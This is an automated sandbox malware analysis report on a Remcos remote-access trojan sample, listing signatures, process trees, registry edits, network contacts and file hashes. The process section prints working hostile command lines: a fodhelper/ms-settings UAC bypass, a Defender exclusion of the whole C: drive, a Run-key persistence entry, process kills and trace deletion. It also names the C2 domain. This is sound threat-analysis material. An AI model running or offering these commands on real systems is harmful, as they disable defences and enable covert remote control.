Malware Analysis Report

2024-11-13 18:47

Sample ID 240726-hh2cqswaqa
Target e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe
SHA256 e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9
Tags
remcos remotehost discovery persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9

Threat Level: Known bad

The file e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe was found to be: Known bad.

Malicious Activity Summary

remcos remotehost discovery persistence rat

Remcos

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

Adds Run key to start application

Suspicious use of SetThreadContext

Enumerates physical storage devices

System Network Configuration Discovery: Internet Connection Discovery

System Location Discovery: System Language Discovery

Unsigned PE

Suspicious use of FindShellTrayWindow

Script User-Agent

Suspicious use of WriteProcessMemory

Runs ping.exe

Suspicious behavior: EnumeratesProcesses

Modifies system certificate store

Modifies registry class

Kills process with taskkill

Suspicious use of AdjustPrivilegeToken

Suspicious use of SendNotifyMessage

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-26 06:45

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-26 06:45

Reported

2024-07-26 06:47

Platform

win7-20240704-en

Max time kernel

147s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe"

Signatures

Remcos

rat remcos

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2472 set thread context of 2784 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\Libraries\ioeztdcY.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\colorcpl.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings C:\Users\Public\ger.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2472 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2472 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2472 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2472 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2472 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2472 wrote to memory of 2784 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2784 wrote to memory of 2984 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2784 wrote to memory of 2984 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2784 wrote to memory of 2984 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2784 wrote to memory of 2984 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2984 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2984 wrote to memory of 2460 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 2984 wrote to memory of 2524 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2524 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2524 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2544 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2544 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2544 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2596 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2596 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2596 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2596 wrote to memory of 2988 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2596 wrote to memory of 2988 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2596 wrote to memory of 2988 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2984 wrote to memory of 2156 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2156 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2156 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2156 wrote to memory of 780 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2156 wrote to memory of 780 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2156 wrote to memory of 780 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2984 wrote to memory of 2508 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2508 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2508 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2508 wrote to memory of 1580 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2508 wrote to memory of 1580 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2508 wrote to memory of 1580 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2984 wrote to memory of 1204 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 1204 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 1204 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2984 wrote to memory of 2624 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2624 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2624 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2624 wrote to memory of 2832 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2624 wrote to memory of 2832 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2624 wrote to memory of 2832 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2984 wrote to memory of 2856 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2856 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 2856 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2856 wrote to memory of 2820 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2856 wrote to memory of 2820 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2856 wrote to memory of 2820 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2820 wrote to memory of 1820 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2820 wrote to memory of 1820 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2820 wrote to memory of 1820 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 1820 wrote to memory of 1808 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1820 wrote to memory of 1808 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1820 wrote to memory of 1808 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 2984 wrote to memory of 852 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 852 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2984 wrote to memory of 852 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 852 wrote to memory of 676 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 852 wrote to memory of 676 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 852 wrote to memory of 676 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe

Processes

C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe

"C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe"

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7A6D.tmp\7A7E.tmp\7A7F.bat C:\Users\Public\Libraries\ioeztdcY.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Windows\system32\cmd.exe

cmd.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM cmd.exe

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\System32\colorcpl.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 2005.filemail.com udp
DE 50.7.86.226:443 2005.filemail.com tcp
DE 50.7.86.226:443 2005.filemail.com tcp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
US 8.8.8.8:53 latestgrace2024.duckdns.org udp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
MY 103.198.26.130:45645 latestgrace2024.duckdns.org tcp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 latestgrace2024.duckdns.org udp
MY 103.198.26.130:45645 latestgrace2024.duckdns.org tcp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
MY 103.198.26.130:45645 latestgrace2024.duckdns.org tcp

Files

memory/2472-0-0x0000000000220000-0x0000000000221000-memory.dmp

memory/2472-1-0x0000000000220000-0x0000000000221000-memory.dmp

memory/2472-2-0x0000000000400000-0x0000000000527000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab7551.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\Tar75B2.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

\Users\Public\Libraries\ioeztdcY.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/2784-48-0x0000000000400000-0x000000000041A000-memory.dmp

memory/2784-45-0x0000000000400000-0x0000000001400000-memory.dmp

memory/2784-47-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7A6D.tmp\7A7E.tmp\7A7F.bat

MD5 54147a112fd4c4fffbdeb2eeab926f59
SHA1 7f4ae3d3dd6202e47bc02438a947065c7ed115a9
SHA256 b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46
SHA512 20c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

C:\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2820-78-0x000000001AFA0000-0x000000001B282000-memory.dmp

memory/2820-79-0x00000000025D0000-0x00000000025D8000-memory.dmp

\Users\Public\ger.exe

MD5 9d0b3066fe3d1fd345e86bc7bcced9e4
SHA1 e05984a6671fcfecbc465e613d72d42bda35fd90
SHA256 4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
SHA512 d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

memory/2784-99-0x0000000000400000-0x000000000041A000-memory.dmp

memory/2784-97-0x0000000000400000-0x0000000001400000-memory.dmp

memory/2388-107-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-112-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-111-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-110-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-106-0x0000000002D30000-0x0000000003D30000-memory.dmp

memory/2388-114-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-116-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-117-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-122-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-123-0x0000000002C10000-0x0000000002C92000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 057629f16ff66427bdf7566aef2cf752
SHA1 a12a7c935419d4d2f9f50fc4372a2808ec327a5e
SHA256 e69924030d1740287ba66ea1c372a383d7ecdff0c4fc6d3a1a6c24fa30cc8b83
SHA512 b73b9496ca918d7f1dd25ca56162a661e7611eebae115c082d71ca89090bd67f7d66de47cc963cc335532cb6811bb4b6c7a83e1def6d5837db12b1a355b50959

memory/2388-128-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-130-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-131-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-133-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-134-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-139-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-140-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-146-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-147-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-149-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-148-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-151-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-150-0x0000000002C10000-0x0000000002C92000-memory.dmp

memory/2388-157-0x0000000002C10000-0x0000000002C92000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-26 06:45

Reported

2024-07-26 06:47

Platform

win10v2004-20240709-en

Max time kernel

149s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe"

Signatures

Remcos

rat remcos

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation C:\Users\Public\Libraries\ioeztdcY.pif N/A
Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation C:\Windows \System32\per.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ycdtzeoi = "C:\\Users\\Public\\Ycdtzeoi.url" C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2380 set thread context of 636 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Public\Libraries\ioeztdcY.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\extrac32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\SndVol.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\ms-settings C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\ms-settings\shell C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\ms-settings\shell\open C:\Users\Public\ger.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" C:\Users\Public\ger.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\ms-settings\shell\open\command C:\Users\Public\ger.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Public\xkn.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d010101